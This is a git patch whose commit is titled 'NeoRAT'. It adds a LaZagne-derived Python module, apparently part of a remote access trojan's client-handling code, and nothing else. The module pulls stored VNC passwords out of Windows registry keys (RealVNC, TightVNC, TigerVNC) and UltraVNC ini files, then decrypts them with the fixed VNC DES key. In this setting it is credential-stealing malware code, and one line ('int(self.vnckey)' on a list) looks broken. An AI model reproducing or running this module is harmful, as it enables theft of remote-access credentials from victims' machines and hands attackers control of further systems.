From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- .../lazagne/softwares/sysadmin/vnc.py | 162 +++++++++++++++++++++ 1 file changed, 162 insertions(+) create mode 100644 foreign/client_handling/lazagne/softwares/sysadmin/vnc.py (limited to 'foreign/client_handling/lazagne/softwares/sysadmin/vnc.py') diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/vnc.py b/foreign/client_handling/lazagne/softwares/sysadmin/vnc.py new file mode 100644 index 0000000..b4b8030 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/sysadmin/vnc.py @@ -0,0 +1,162 @@ +# Code based on vncpasswd.py by trinitronx +# https://github.com/trinitronx/vncpasswd.py +import binascii +import codecs +import traceback + +try: + import _winreg as winreg +except ImportError: + import winreg + +from . import d3des as d +from foreign.client_handling.lazagne.config.winstructure import * +from foreign.client_handling.lazagne.config.module_info import ModuleInfo + + +class Vnc(ModuleInfo): + def __init__(self): + self.vnckey = [23, 82, 107, 6, 35, 78, 88, 7] + ModuleInfo.__init__(self, name='vnc', category='sysadmin') + + def split_len(self, seq, length): + return [seq[i:i + length] for i in range(0, len(seq), length)] + + def do_crypt(self, password, decrypt): + passpadd = (password + '\x00' * 8)[:8] + strkey = b''.join([chr_or_byte(x) for x in int(self.vnckey)]) + key = d.deskey(strkey, decrypt) + crypted = d.desfunc(passpadd, key) + return crypted + + def unhex(self, s): + try: + s = codecs.decode(s, 'hex') + except TypeError as e: + if e.message == 'Odd-length string': + self.debug('%s . Chopping last char off... "%s"' % (e.message, s[:-1])) + s = codecs.decode(s[:-1], 'hex') + else: + return False + return s + + def reverse_vncpassword(self, hash): + encpasswd = self.unhex(hash) + pwd = None + if encpasswd: + # If the hex encoded passwd length is longer than 16 hex chars and divisible + # by 16, then we chop the passwd into blocks of 64 bits (16 hex chars) + # (1 hex char = 4 binary bits = 1 nibble) + hexpasswd = codecs.encode(encpasswd, 'hex') + if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0: + splitstr = self.split_len(codecs.encode(hash, 'hex'), 16) + cryptedblocks = [] + for sblock in splitstr: + cryptedblocks.append(self.do_crypt(codecs.decode(sblock, 'hex'), True)) + pwd = b''.join(cryptedblocks) + elif len(hexpasswd) <= 16: + pwd = self.do_crypt(encpasswd, True) + else: + pwd = self.do_crypt(encpasswd, True) + return pwd + + def vnc_from_registry(self): + pfound = [] + vncs = ( + ('RealVNC 4.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4', 'Password'), + ('RealVNC 3.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\vncserver', 'Password'), + ('RealVNC 4.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'), + ('RealVNC 4.x', 'HKEY_CURRENT_USER\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'), + ('RealVNC 3.x', 'HKEY_CURRENT_USER\\Software\\ORL\\WinVNC3', 'Password'), + ('TightVNC', 'HKEY_CURRENT_USER\\Software\\TightVNC\\Server', 'Password'), + ('TightVNC', 'HKEY_CURRENT_USER\\Software\\TightVNC\\Server', 'PasswordViewOnly'), + ('TightVNC', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'Password'), + ('TightVNC ControlPassword', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'ControlPassword'), + ('TightVNC', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'PasswordViewOnly'), + ('TigerVNC', 'HKEY_LOCAL_MACHINE\\Software\\TigerVNC\\Server', 'Password'), + ('TigerVNC', 'HKEY_CURRENT_USER\\Software\\TigerVNC\\Server', 'Password'), + ) + + for vnc in vncs: + try: + if vnc[1].startswith('HKEY_LOCAL_MACHINE'): + hkey = OpenKey(HKEY_LOCAL_MACHINE, vnc[1].replace('HKEY_LOCAL_MACHINE\\', '')) + + elif vnc[1].startswith('HKEY_CURRENT_USER'): + hkey = OpenKey(HKEY_CURRENT_USER, vnc[1].replace('HKEY_CURRENT_USER\\', '')) + + reg_key = winreg.QueryValueEx(hkey, vnc[2])[0] + except Exception: + self.debug(u'Problems with key:: {reg_key}'.format(reg_key=vnc[1])) + continue + + try: + enc_pwd = binascii.hexlify(reg_key).decode() + except Exception: + self.debug(u'Problems with decoding: {reg_key}'.format(reg_key=reg_key)) + continue + + values = {} + try: + password = self.reverse_vncpassword(enc_pwd) + if password: + values['Password'] = password + except Exception: + self.info(u'Problems with reverse_vncpassword: {reg_key}'.format(reg_key=reg_key)) + self.debug() + continue + + values['Server'] = vnc[0] + # values['Hash'] = enc_pwd + pfound.append(values) + + return pfound + + def vnc_from_filesystem(self): + # os.environ could be used here because paths are identical between users + pfound = [] + vncs = ( + ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd'), + ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd2'), + ('UltraVNC', os.environ['PROGRAMFILES'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd'), + ('UltraVNC', os.environ['PROGRAMFILES'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd2'), + ('UltraVNC', os.environ['PROGRAMFILES'] + '\\UltraVNC\\ultravnc.ini', 'passwd'), + ('UltraVNC', os.environ['PROGRAMFILES'] + '\\UltraVNC\\ultravnc.ini', 'passwd2'), + ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\UltraVNC\\ultravnc.ini', 'passwd'), + ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\UltraVNC\\ultravnc.ini', 'passwd2'), + ) + + for vnc in vncs: + string_to_match = vnc[2] + '=' + enc_pwd = '' + try: + with open(vnc[1], 'r') as file: + for line in file: + if string_to_match in line: + enc_pwd = line.replace(string_to_match, '').replace('\n', '') + except Exception: + self.debug('Problems with file: {file}'.format(file=vnc[1])) + continue + + values = {} + try: + password = self.reverse_vncpassword(enc_pwd) + if password: + values['Password'] = password + except Exception: + self.debug(u'Problems with reverse_vncpassword: {enc_pwd}'.format(enc_pwd=enc_pwd)) + self.debug(traceback.format_exc()) + continue + + values['Server'] = vnc[0] + # values['Hash'] = enc_pwd + pfound.append(values) + + return pfound + + def vnc_from_process(self): + # Not yet implemented + return [] + + def run(self): + return self.vnc_from_filesystem() + self.vnc_from_registry() + self.vnc_from_process() -- cgit v1.2.3